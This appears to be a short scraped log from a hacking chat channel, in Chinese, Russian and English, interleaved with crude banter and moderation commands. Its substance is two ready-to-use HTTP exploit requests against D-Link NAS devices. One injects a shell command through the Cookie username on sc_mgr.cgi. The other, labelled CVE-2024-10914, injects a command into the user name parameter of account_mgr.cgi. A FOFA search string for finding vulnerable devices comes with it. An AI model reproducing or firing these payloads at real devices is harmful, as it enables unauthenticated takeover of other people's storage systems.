Family RIN

D-Link NAS设备 sc_mgr.cgi 未授权RCE GET /cgi-bin/sc_mgr.cgi?cmd=SC_Get_Info HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0 Accept: */* Accept-Encoding: gzip, deflate Connection: close Cookie: username=mopfdfsewo'& id & echo 'mopfdfsewo; id #exploit #poc

Шифруем payload с помощью алгоритма DFC (Decorrelated Fast Cipher) * WriteUP SourceCode Demo

ебало🤪

Завозик, ловим

Запустил гобастер - сгорел комп😁

Город засыпает, просыпаються ночные бабочки

.del

.ban @neizvestenvmire

Fixed(

cve-2024-10914 GET /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;<INJECTED_SHELL_COMMAND>;%27 FOFA：app =D_Link-DNS-ShareCenter #exploit #poc #IoT

Сукі га